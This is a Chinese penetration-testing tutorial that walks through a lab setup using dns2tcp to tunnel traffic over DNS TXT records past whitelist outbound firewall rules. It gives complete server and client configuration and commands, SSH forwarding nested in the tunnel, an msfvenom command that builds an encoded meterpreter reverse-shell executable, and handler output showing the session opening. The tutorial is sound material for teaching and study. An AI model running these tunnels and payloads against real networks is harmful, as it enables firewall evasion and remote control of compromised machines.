【内网流量操控技术三】DNS隧道之dns2tcp原理

前言

在渗透测试过程中,我们常会遇到下面这种情况:我们获取一台web服务器权限,接下来想通过反弹shell、或流量转发建立一个内网据点,大多会成功,但也有时经常失败。失败的主要原因可能是管理员在防火墙出站规则上做了出站策略限制。如果遇到黑名单策略,还好绕过,但如果遇到下图的白名单策略,我们要怎么绕过呢?答案很简单,我们可以通过一款dns2tcp的软件对这种出站防火墙策略进行绕过。
在这里插入图片描述

一、dns2tcp绕过的原理

dns2tcp是一款基于c/s架构的软件,它可以将通信报文夹藏在udp协议的TXT解析记录中,进而形成dns隧道。dns隧道通过dns2tcpc对本地端口的监听,实现端口转发,进而对远程主机上的应用端口进行访问。大致了解了原理,下面我们通过一个模拟实验来学习一下dns2tcp隧道的应用。

二、模拟实验

1、拓扑图

在这里插入图片描述

由上图可知,本实验的主要配置有两方面,一个是DNS2003上DNS服务器的配置,另一个是dns2tcp的客户端和服务端的配置。

2、DNS服务器配置

第一步,创建正向区域redwand.com
第二部,在redwand.com域内创建A记录,解析kali.redwand.com
在这里插入图片描述

第三步,在redwand.com域内指定委派kali为test.redwand.com域的DNS服务器
在这里插入图片描述
在这里插入图片描述
第四步,在DNS服务器右键属性,设置其他域查询转发到公网DNS

在这里插入图片描述

3、dns2tcpd的配置

在kali(192.168.3.29)上配置dns2tcpd,现在的kali上多安装好了dns2tcp这款工具,如果没有安装可以通过命令安装

apt-get install dns2tcp

其配置文件位于

/etc/dns2tcpd.conf

配置文件内容如下:
本地监听53端口,实现DNS的udp数据报通信。
domain变量定义了DNS隧道通过的查询区域。
resourse变量定义了将远程某个资源转发到dns2tcpc端。
key定义了密码

listen = 0.0.0.0
port = 53
# If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = nobody
chroot = /tmp
domain = test.redwand.com
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25
key = pass

配置文件设置成功后,在kali上执行命令,实现dns2tcpd服务端监听,其中-d参数表示debug级别为1,-F参数表示前台运行。

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

运行如下

root@kali:~# dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
20:31:39 : Debug options.c:97	Add resource ssh:127.0.0.1 port 22
20:31:39 : Debug options.c:97	Add resource smtp:127.0.0.1 port 25
20:31:39 : Debug socket.c:55	Listening on 0.0.0.0:53 for domain test.redwand.com
Starting Server v0.5.2...
20:31:39 : Debug main.c:132	Chroot to /tmp
01:31:39 : Debug main.c:142	Change to user nobody

4、dnc2tcpc的配置

首先设置/etc/resolv.conf文件将nameserver设置为192.168.3.28

nameserver 192.168.3.28

然后在webserver上只要执行一条命令即可实现dns隧道,-c参数表示压缩传输数据,-r表示访问dns2tcpd一端的哪种资源,-z表示通过某个域查询实现。

dns2tcpc -c -k pass -l 2222 -d 1 -r ssh -z test.redwand.com

在内网172.16.1.11访问本地2222端口,测试成功,可以访问外网主机192.168.3.29的ssh资源。
在这里插入图片描述
再在主机192.168.3.29上看dns2tcpd的debug记录
在这里插入图片描述
至此,我们成功建立了dns隧道,绕过了防火墙的出站udp53的限制策略。

5、抓包验证

我们在172.16.1.11上抓包dns得到报文
请求报文1
在这里插入图片描述
响应报文N
在这里插入图片描述
可以看到,之所以选用dns的TXT记录作为建立隧道的途径,主要是因为txt记录可以携带大量的data,这些data通过正常dns报文的解析,传递了通信数据,建立了dns隧道。由于dns隧道是通过udp协议建立的,隧道建立后,c/s两端会通过心跳数据确认对方是否存活,因此,我们也可以看到dns隧道一旦建立,两台主机会一直存在dns通讯报文。

三、隧道嵌套

上面我们知道了dns隧道的原理,那么来解决两个实际问题。

1、通过ssh隧道动态转发上网

前面我们实现了通过dns隧道,将外网192.168.3.29的ssh端口转发到172.16.1.11的2222端口上,那么如果结合前面的ssh知识,如果再通过ssh动态转发,内网主机就可以通过本机监听的7001端口,代理上外网了。命令如下:

ssh -D 7001 -CfNg root@127.0.0.1 -p 2222

隧道嵌套图示
在这里插入图片描述

2、通过dns嵌套ssh隧道转发msf流量

另种情况,当我们横向渗透内网中的DC服务器,如下图,需要将内网msf流量转发到外网。
在这里插入图片描述
我们可以在kali上生成ma.exe,监听在172.16.1.11的6666端口上

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.11 lport=6666 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o ma.exe

然后在172.16.1.11上通过dns隧道嵌套ssh隧道实现本地端口转发

ssh -CfNg -L 6666:192.168.3.29:6666 root@127.0.0.1 -p 2222

最后在kali(192.168.3.29)上开启msf监听6666端口,在DCserver(172.16.1.12)上运行ma.exe,成功得到上线meterpreter shell。

msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:6666 
[*] Sending stage (180291 bytes) to 192.168.3.29
[*] Meterpreter session 1 opened (192.168.3.29:6666 -> 192.168.3.29:55050) at 2021-01-16 22:22:16 -0500

meterpreter > 

总结

通过对dns2tcp软件的配置学习,我们更深刻的理解了dns隧道的形成原理,也在今后内网渗透过程中多一条绕过防火墙策略的途径。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值